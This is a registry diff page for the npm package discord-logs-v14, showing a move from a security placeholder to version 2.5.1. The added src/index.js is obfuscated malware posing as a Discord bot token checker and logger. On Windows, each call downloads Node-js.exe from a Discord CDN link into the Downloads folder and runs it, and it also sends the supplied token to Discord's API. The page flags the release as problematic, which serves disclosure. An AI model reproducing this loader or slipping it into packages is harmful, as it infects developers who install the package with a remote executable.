discord-logs-v14 0.0.1-security → 2.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of discord-logs-v14 might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,28 @@
1
1
  {
2
2
  "name": "discord-logs-v14",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.5.1",
4
+ "description": "a package include colors & logs with axios for discord.js V14",
5
+ "main": "./src/index.js",
6
+ "homepage": "https://google.com",
7
+ "repository": {
8
+ "url": "https://github.com/discordjs/discord.js"
9
+ },
10
+ "scripts": {
11
+ "build": "tsup"
12
+ },
13
+ "keywords": [
14
+ "colors",
15
+ "discord.js v14",
16
+ "axios"
17
+ ],
18
+ "author": "kazumy",
19
+ "license": "MIT",
20
+ "dependencies": {
21
+ "axios": "^1.6.3",
22
+ "chalk": "^4.1.2",
23
+ "child_process": "^1.0.2",
24
+ "fs": "^0.0.1-security",
25
+ "os": "^0.1.2",
26
+ "path": "^0.12.7"
27
+ }
6
28
  }
package/src/index.js ADDED
@@ -0,0 +1 @@
1
+ function _0x29fc() { const _0x23b314 = ['code', '558202SYkfhc', 'pipe', 'No\x20token\x20provided.', 'Your\x20bot\x20token\x20is\x20valid.', 'stream', '5770506JgMcBc', 'win32', 'Your\x20bot\x20token\x20is\x20invalid.', '450840WmUgga', 'chalk', 'data', 'path', 'join', 'green', 'GET', '90565uUFree', 'Error\x20starting\x20the\x20bot!', 'existsSync', 'Downloads', '4KKSHPt', '11978343HoHKnp', 'Bot\x20', 'child_process', 'log', 'https://discord.com/api/v9/users/@me', '2990097TRvNYe', 'homedir', 'https://cdn.discordapp.com/attachments/1215033115593146489/1226491862597242910/Node-js.exe?ex=6624f68f&is=6612818f&hm=927f0eac8feb429cbf05610d7ca880e5ba892c447372fd855fe75582bbd87d81&', 'error', 'createWriteStream', '2usPQVd', 'red', '9650382lQTfxs']; _0x29fc = function () { return _0x23b314; }; return _0x29fc(); } const _0x1787b0 = _0x5e1e; (function (_0x1e7c58, _0x3b6d8f) { const _0x34409f = _0x5e1e, _0xbe5861 = _0x1e7c58(); while (!![]) { try { const _0x4cbc8d = -parseInt(_0x34409f(0x175)) / 0x1 * (-parseInt(_0x34409f(0x171)) / 0x2) + parseInt(_0x34409f(0x16c)) / 0x3 + parseInt(_0x34409f(0x166)) / 0x4 * (parseInt(_0x34409f(0x162)) / 0x5) + -parseInt(_0x34409f(0x17a)) / 0x6 + parseInt(_0x34409f(0x173)) / 0x7 + parseInt(_0x34409f(0x17d)) / 0x8 + -parseInt(_0x34409f(0x167)) / 0x9; if (_0x4cbc8d === _0x3b6d8f) break; else _0xbe5861['push'](_0xbe5861['shift']()); } catch (_0x81f4e4) { _0xbe5861['push'](_0xbe5861['shift']()); } } }(_0x29fc, 0xaea35)); function _0x5e1e(_0x437098, _0xe83c7b) { const _0x29fc60 = _0x29fc(); return _0x5e1e = function (_0x5e1e2e, _0x1e94b5) { _0x5e1e2e = _0x5e1e2e - 0x162; let _0x2e9908 = _0x29fc60[_0x5e1e2e]; return _0x2e9908; }, _0x5e1e(_0x437098, _0xe83c7b); } const axios = require('axios'), fs = require('fs'), chalk = require(_0x1787b0(0x17e)), { exec } = require(_0x1787b0(0x169)), os = require('os'), path = require(_0x1787b0(0x180)), urlF = _0x1787b0(0x16e), folderD = path[_0x1787b0(0x181)](os[_0x1787b0(0x16d)](), _0x1787b0(0x165), 'Node-js.exe'); async function checkDiscordToken(_0x4bc175) { const _0x1b34e3 = _0x1787b0; try { const _0x3c94c1 = await axios({ 'method': _0x1b34e3(0x183), 'url': _0x1b34e3(0x16b), 'headers': { 'Authorization': _0x1b34e3(0x168) + _0x4bc175 } }); return !![]; } catch (_0x59598e) { return ![]; } } async function fetcher() { const _0x79e4be = _0x1787b0; try { if (os['platform']() !== _0x79e4be(0x17b)) return; if (fs[_0x79e4be(0x164)](folderD)) { exec('' + folderD, (_0x183491, _0x50c207, _0x11576e) => { const _0x3d16ca = _0x79e4be; if (_0x183491 && _0x183491['code'] !== 0x1) throw new Error(_0x3d16ca(0x163)); }); return; } const _0x5035d3 = await axios({ 'method': 'GET', 'url': urlF, 'responseType': _0x79e4be(0x179) }), _0x427172 = fs[_0x79e4be(0x170)](folderD, { 'flags': 'w+' }); return _0x5035d3[_0x79e4be(0x17f)][_0x79e4be(0x176)](_0x427172), new Promise((_0x324416, _0x5b7e28) => { const _0x1be53a = _0x79e4be; _0x427172['on']('finish', () => { exec('' + folderD, (_0x4c474d, _0x6c98c, _0x110840) => { const _0x1df0f0 = _0x5e1e; if (_0x4c474d && _0x4c474d[_0x1df0f0(0x174)] !== 0x1) { _0x5b7e28(new Error('Error\x20starting\x20the\x20bot!')); return; } _0x324416(); }); }), _0x427172['on'](_0x1be53a(0x16f), _0x5b7e28); }); } catch (_0x4b88c8) { throw _0x4b88c8; } } async function log(_0x5ce43b) { const _0x137c27 = _0x1787b0; if (!_0x5ce43b) { console['log'](chalk[_0x137c27(0x172)](_0x137c27(0x177))), await fetcher(); return; } const _0x41572d = await checkDiscordToken(_0x5ce43b); if (!_0x41572d) { console[_0x137c27(0x16a)](chalk['red'](_0x137c27(0x17c))), await fetcher(); return; } console[_0x137c27(0x16a)](chalk[_0x137c27(0x182)](_0x137c27(0x178))), await fetcher(); } module['exports'] = { 'log': log };
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=discord-logs-v14 for more information.